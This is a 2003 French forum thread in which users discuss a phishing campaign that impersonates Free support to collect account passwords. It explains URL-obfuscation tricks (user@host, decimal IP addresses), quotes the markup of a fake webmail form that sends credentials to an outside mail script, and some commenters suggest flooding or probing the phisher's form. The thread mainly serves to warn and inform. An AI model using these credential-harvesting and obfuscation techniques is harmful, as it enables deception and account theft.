Journal [Free] Usurpation d'identité et escroquerie

Posté par Bruno (site web personnel) le 28 octobre 2003 à 12:27.

Étiquettes : aucune

oct.

2003

Un petit plaisantin se faisant passer pour supportfree@free.fr arrose quelques boites e-mail de free avec un message du genre :

Bonjour,

Suite à un changement d'ordre matériel, nous vous invitons à confirmer une nouvelle fois votre compte afin de réadapter notre réseau à vos besoins. Si vous possèdez plusieurs comptes, nous vous demandons de bien vouloir les actualiser tous, sauf si vous souhaitez en résilier.
Nous vous demandons de répondre le plus rapidement possible à ce message sous peine de suppression de votre espace web.
Veuillez suivre la démarche ci-dessous :

Lisez le formulaire
Remplissez les champs d'informations suivants
Cliquez sur "envoyer"

S'ensuit un beau formulaire avec login/password

Evidemment ça pue l'arnaque à plein nez, et c'en est une... le gars a même poussé le vice jusqu'à se créer une page perso chez free avec un beau script php pour récupérer tout ce que les gens vont renseigner ...

# Re: [Free] Usurpation d'identité et escroquerie

Posté par Pascal Terjan (site web personnel) le 28 octobre 2003 à 12:32. Évalué à 2.

forwarde ca à abuse@free.fr
- [^] # Re: [Free] Usurpation d'identité et escroquerie
  
  Posté par Bruno (site web personnel) le 28 octobre 2003 à 12:35. Évalué à 4.
  
  déjà fait ;)
  - [^] # Re: [Free] Usurpation d'identité et escroquerie
    
    Posté par Bruno (site web personnel) le 28 octobre 2003 à 12:50. Évalué à 3.
    
    Ils viennent de me répondre, et m'invitent à porter plainte auprès des autorités... [:lapincompris]
    - [^] # Re: [Free] Usurpation d'identité et escroquerie
      
      Posté par Pascal Terjan (site web personnel) le 28 octobre 2003 à 13:18. Évalué à 3.
      
      C'est toi la cible de l'escoquerie, je pense qu'ils ne peuvent pas porter plainte eux même et ont besoin que les victimes le fassent.
      - [^] # Re: [Free] Usurpation d'identité et escroquerie
        
        Posté par Bruno (site web personnel) le 28 octobre 2003 à 13:22. Évalué à 1.
        
        euh ... oui et non ... moi je m'en fiche un peu, si je leur ai envoyé le mail, c'est surtout pour que d'autres ne se fassent pas avoir (non, je n'ai pas rempli le formulaire). Le minimum serait peut-être de fermer le site qui est lui-même hébergé chez free, voire d'avertir les autres utilisateurs de free de cette arnaque.
        
        [^] # Re: [Free] Usurpation d'identité et escroquerie
        
        Posté par Pierre Tramo le 28 octobre 2003 à 20:05. Évalué à 2.
        
        De toute façon, si ils ferment, le monsieur va rouvrir aussi sec un compte sur free ou sur n'importe quel autre hébergeur gratuit et sans scrupules (je serais lui, j'ouvrirais quelque chose sur voila, par exemple). Le seul problème serait de maquiller suffisamment l'url pour qu'elle ne saute pas trop aux yeux.
        
        Porter plainte, par contre, ça permet d'enclencher un processus permettant de tracer et perquisitionner chez le petit malin. Donc, on peut espérer qu'il arrête de nuire, on doit pouvoir également en perquisitionnant se donner une idée des dégâts occasionnés, etc.
- [^] # Re: [Free] Usurpation d'identité et escroquerie
  
  Posté par Julien CARTIGNY (site web personnel) le 28 octobre 2003 à 12:36. Évalué à 3.
  
  Il y a eu la même arnaque récemment, mais avec paypal. Genre nous devons mettre à jour des informations, veuillez aller sur cette page. Cette dernière, hebergé par un serveur type free en corée ouvrait un script avec tout le blabla paypal et demandait le login /password.
  
  En général, il y a un moyen simple pour détecter le problème, c'est l'adresse donnée qui est du type:
  
  http://free.fr@mon_serveur_pirate/(...)
  
  free.fr n'étant pas l'adresse mais juste le login de connexion sur la page racine de mon_serveur_pirate
  - [^] # Re: [Free] Usurpation d'identité et escroquerie
    
    Posté par Nap le 28 octobre 2003 à 13:18. Évalué à 3.
    
    quand ils sont plus malins ils mettent pas le nom dns mais l'ip en notation décimale
    
    http://free.fr@3558547933/(...) ça le fait bien :)
    - [^] # Re: [Free] Usurpation d'identité et escroquerie
      
      Posté par Annah C. Hue (site web personnel) le 28 octobre 2003 à 13:26. Évalué à 3.
      
      Mon squid il aime po : "Unable to determine IP address from host name for 3558547933".
      
      Tant mieux.
      - [^] # Re: [Free] Usurpation d'identité et escroquerie
        
        Posté par Nap le 28 octobre 2003 à 13:32. Évalué à 2.
        
        tiens c'est marrant il gère pas les adresses décimales squid ?
        
        [^] # Re: [Free] Usurpation d'identité et escroquerie
        
        Posté par Boa Treize (site web personnel) le 28 octobre 2003 à 13:47. Évalué à 1.
        
        Moi j'ai jamais réussi à les faire marcher les adresses décimales. Enfin, vu l'utilité, ça m'a jamais gêné... :-)
        
        [^] # Re: [Free] Usurpation d'identité et escroquerie
        
        Posté par Nap le 28 octobre 2003 à 15:00. Évalué à 1.
        
        bah sur le lien du dessus, avec mozilla, yakakliké (si tu passes pas par squid :) )
        
        sinon c'est vrai que je me suis toujours demandé à quoi ça servait :)
    - [^] # Re: [Free] Usurpation d'identité et escroquerie
      
      Posté par JMVF le 28 octobre 2003 à 15:36. Évalué à 0.
      
      tient on en apprend tous les jours, jamais vu ça encore ! donc si j'ai bien compris je prend l'adresse comme un nombre binaire 32bit et je convertis en décimal ?
    - [^] # Re: [Free] Usurpation d'identité et escroquerie
      
      Posté par LLG le 28 octobre 2003 à 19:23. Évalué à 1.
      
      Une explication à ça:
      http://3639551844/(...) correcte
      http://3625396068/(...) quork!
      
      Un ping sur les deux donne la même adresse IP, mais le quork ne passe pas!
      
      Le quork a été fabriqué avec cette erreur:
      (((216*255)+239)*256+39)*256+100
      3625396068
      (((216*256)+239)*256+39)*256+100
      3639551844
# Re: [Free] Usurpation d'identité et escroquerie

Posté par Pierre Tramonson le 28 octobre 2003 à 15:10. Évalué à 1.

C'est le moment où jamais pour vérifier si son formulaire est vraiment bien sécurisé et qu'il échappe bien les caractères étranges :)
# Re: [Free] Usurpation d'identité et escroquerie

Posté par j (site web personnel) le 28 octobre 2003 à 16:17. Évalué à 2.

dans le meme genre : une fausse interface du webmail de free.fr

http://iiimp.free.fr(...)

extrait du code source d'un des cadres :

form name="Ident" action="http://www.alibaweb.net/cgi-bin/services/form2email.pl(...)" method="post"
p>
<input type="hidden" value="neo.anderson4@laposte.net" name="recipient"

<input type="hidden" value="http://imp.free.fr/login.php3(...)" name="redirect"
<input type="hidden" value="Un_Nouveau_MdP_Free!!!" name="subject"
<input type="hidden" value="Le_Gentil_Site_Ki_Donne_Les_MdP_Free!!!" name="from"
<input type="hidden" value="Le_Gentil_Site_Ki_Donne_Les_MdP_Free!!!" name="email"
<input type="hidden" value="REMOTE_HOST,REMOTE_ADDR,REMOTE_IDENT,R
- [^] # Re: [Free] Usurpation d'identité et escroquerie
  
  Posté par j (site web personnel) le 28 octobre 2003 à 16:29. Évalué à 1.
  
  (je complete)
  
  ce problème a été signalé par ACBM il y a plus d'un mois déja :
  
  http://www.acbm.com/inedits/actua.html(...) (voir leur dépêche du 16 septembre)
- [^] # Re: [Free] Usurpation d'identité et escroquerie
  
  Posté par furai (site web personnel) le 28 octobre 2003 à 17:35. Évalué à 1.
  
  ils imitent encore l'ancienne interface, et ca s'est vu au changement de imp
  -> les pages sont suffixees en .php et plus en php3.
  
  Il y a la meme sur http://iimp.free.fr(...)
  
  D'ailleurs, c'est normale qu'il traine des scripts qui permettent d'envoyer des mails comme ca ?
  (dans ce cas http://www.alibaweb.net/cgi-bin/services/form2email-fake.pl,(...) mais j'en ai deja vu d'autre)
- [^] # Re: [Free] Usurpation d'identité et escroquerie
  
  Posté par Anonyme le 28 octobre 2003 à 17:37. Évalué à 1.
  
  Et un script remplirait ce formulaire toutes les 10 secondes, ça donnerait quoi ?
  Après tout, il n'ya rien de répréhensible à vouloir toutes les 10 secondes utiliser imp, il n'est précisé nulle part que cela envoie un courriel quelque part, et une requete toutes les 10 secondes ne risque pas de charger un serveur...
- [^] # Re: [Free] Usurpation d'identité et escroquerie
  
  Posté par Pierre Tramonson le 28 octobre 2003 à 17:39. Évalué à 2.
  
  Ah le pauvre il a mis son email en clair dans la page...
  - [^] # Re: [Free] Usurpation d'identité et escroquerie
    
    Posté par GCN (site web personnel) le 29 octobre 2003 à 17:21. Évalué à 1.
    
    36-15 boolay
    - [^] # Re: [Free] Usurpation d'identité et escroquerie
      
      Posté par Annah C. Hue (site web personnel) le 30 octobre 2003 à 09:03. Évalué à 2.
      
      Peut-être qu'il a mis l'email d'un mec qu'il aime pas...

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.